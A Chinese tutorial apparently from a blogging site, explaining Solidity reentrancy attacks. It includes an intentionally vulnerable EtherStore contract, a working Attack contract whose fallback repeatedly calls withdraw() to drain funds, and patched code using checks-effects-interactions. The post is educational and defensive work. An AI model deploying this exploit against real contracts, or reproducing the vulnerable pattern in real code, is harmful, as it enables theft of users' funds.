智能合约安全之Solidity重入攻击漏洞的深入理解

漏洞原理

以太坊智能合约的特点之一是能够调用和使用其他外部合约的代码。这些合约通常会操作以太币,经常将以太发送到各种外部用户地址。这种调用外部合约或向外部地址发送以太币的操作,需要合约提交外部调用。这些外部调用可能被攻击者劫持,比如,通过一个回退函数,强迫合约执行进一步的代码,包括对自身的调用。这样代码可以重复进入合约,这就是“重入” (Re-Entrancy) 的来源。著名的 DAO 黑客攻击事件中就是利用了这种类型的漏洞。

以下 Solidity 知识点能帮助我们更好的理解重入攻击的内在原因。

Fallback函数

合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。

除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。 如果不存在这样的函数,则合约不能通过常规交易接收以太币。

一个没有定义 fallback 函数的合约,直接接收以太币(没有函数调用,即使用 sendtransfer)会抛出一个异常, 并返还以太币。所以如果你想让你的合约接收以太币,必须实现 fallback 函数。

而且,一个合约不能对这种以太币转移做出反应,因此也不能拒绝它们。这是 EVM 在设计时就决定好的,而且 Solidity 无法绕过这个问题。

Call 函数调用

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。

其中,call 是最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境即合约的 storage。

通常情况下合约之间通过 call 来相互调用执行,由于 call 在相互调用过程中,被调用方的内置变量 msg 会随着调用方的改变而改变,这就成为了一个安全隐患,在特定的应用场景下将引发安全问题。

下面是 call 函数的调用方式:

  1. 对于一个指定合约地址的 call 调用,可以调用该合约下的任意函数
  2. 如果 call 调用的合约地址由用户指定,那么可以调用任意合约的任意函数

另外,需要注意的是,目标合约使用 call 函数调用发送以太币时,默认提供所有剩余的 gas。这也给了恶意合约发起重入攻击的条件。

常用转账函数

以太坊 Solidity 的三种转账方式:

  1. <address>.transfer():
    如果异常会转账失败,抛出异常,终止执行。有 gas 限制,最多 2300。
  2. <address>.send():
    如果异常会转账失败,返回 false,不会终止执行。有 gas 限制,最多2300.
  3. <address>.call.value():
    如果异常会转账失败,返回 false,不会终止执行。无 gas 限制。

正因为 call 调用无 gas 限制,默认会使用所有剩余的 gas,所以不能有效的防止重入攻击。

实例演示

当合约将以太币发送到一个未知地址时,可能会发生这种攻击。攻击者可以在一个外部地址构造一个合约,该合约在回退函数中包含恶意代码。因此,当一个合约将以太发送到这个地址时,它将调用恶意代码。通常,恶意代码在易受攻击的合约上调用一个函数,执行开发人员不期望的操作。“可重入”这个名称来自于这样一个事实:外部恶意合约回调目标合约上的转账函数,并在目标合约上的任意位置重复执行这个转账函数以达到攻击目的。

让我们来看以下这个简单的合约。这个合约充当以太坊的保险库,允许存款人每周只提取 1 以太币。

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;

contract EtherStore {
    uint256 public withdrawLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount);
        require(amount <= withdrawLimit);
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(amount)());
        balances[msg.sender] -= amount;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
 }

这个合约有两个公共函数:

  1. deposit(): 存款函数。函数接收发送者的以太币存款,并增加发送者余额。
  2. withdraw(): 提款函数。函数允许发送方指定要提取的以太币数量,只有当请求的提现金额小于 1 个以太币且上周没有发生提现时,它才会成功。

合约的漏洞出现在以下代码段:

require(msg.sender.call.value(amount)());

这行代码可能会导致重入攻击。这段代码通过 call 函数进行转账,如果 msg.sender 是一个合约,那么 call 函数在转账时会调用该函数的 fallback 函数。这时候如果构造一个恶意合约,在合约的 fallback 函数里多次调用目标合约的 withdraw() 函数,就能把目标合约中的以太币全部转走。

下面,让我们来构造一个攻击合约,合约代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;

import "./EtherStore.sol";

contract Attack {
    EtherStore public etherStore;
 
    function Attack(address etherStoreAddress) public payable {
        etherStore = EtherStore(etherStoreAddress);
    }

    function deposit() public payable {
        //require(msg.value >= 1 ether);
        etherStore.deposit.value(1 ether)();
    }

    function withdraw() public {
        etherStore.withdraw(1 ether);
    }

    function collectEther() public {
        msg.sender.transfer(this.balance);
    }

    function () public payable {
        if (etherStore.balance > 1 ether) {
            etherStore.withdraw(1 ether);
        }
    }
}

让我们看看这个恶意合约是如何利用我们的 EtherStore 合约的。攻击者将使用 EtherStore 的合约地址作为构造函数参数来创建。这将初始化公共变量 etherStore 并将其指向我们想要攻击的合约。

首先攻击者会调用 deposit() 函数,在目标合约中存入 1 个以太币。在本例中,我们假设许多其他用户已将以太币存入该合约,因此假设合约的当前余额为 10 个以太币。

然后,攻击者调用 withdraw() 函数从目标合约提款。每次提取 1 个以太币。目标合约的 withdraw() 函数通过调用 call 函数给恶意合约转账,在转账时会调用恶意函数的 fallback 函数。

让我们来看攻击合约的 fallback 函数的代码段:

function () public payable {
    if (etherStore.balance > 1 ether) {
        etherStore.withdraw(1 ether);
    }
}

该代码段判断目标合约的余额,当余额大于 1 个以太币时继续调用目标合约的提款函数给恶意合约转账,直到目标合约的余额不再满足转账条件,这就是重入攻击。攻击者也可以设置重入的次数。感兴趣的读者可以在 Remix 工具中编译部署以上合约来实践。

解决方法

有许多常见的技术可以帮助避免智能合约中的潜在重入攻击。

  1. 第一种是 (只要可能) 在向外部合约发送 ether 时使用内置的 transfer() 函数。转账功能只与外部调用一起发送2300 个 gas,这不足以让攻击合约再去调用另一个合约(即重新进入发送合约)。
  2. 第二种方案是建议遵循检查-效果-交互的编程模式。即确保所有改变状态变量的逻辑在 ether 被发送出(或任何外部调用)之前发生。将执行未知地址外部调用的代码作为本地化函数或代码段执行的最后一个操作。
  3. 第三种技术是引入互斥。也就是说,添加一个状态变量,在代码执行期间锁定合约,防止可重入调用。但需要注意的是,要保证解除该状态变量锁定状态的代码能够被正确执行。

经改造后的合约代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract EtherStore {
    uint256 public withdrawLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount);
        require(amount <= withdrawLimit);
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= amount;
        lastWithdrawTime[msg.sender] = block.timestamp;
        payable(msg.sender).transfer(amount);
    }
 }
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,098评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,213评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,960评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,519评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,512评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,533评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,914评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,574评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,804评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,563评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,644评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,350评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,933评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,908评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,146评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,847评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,361评论 2 342

推荐阅读更多精彩内容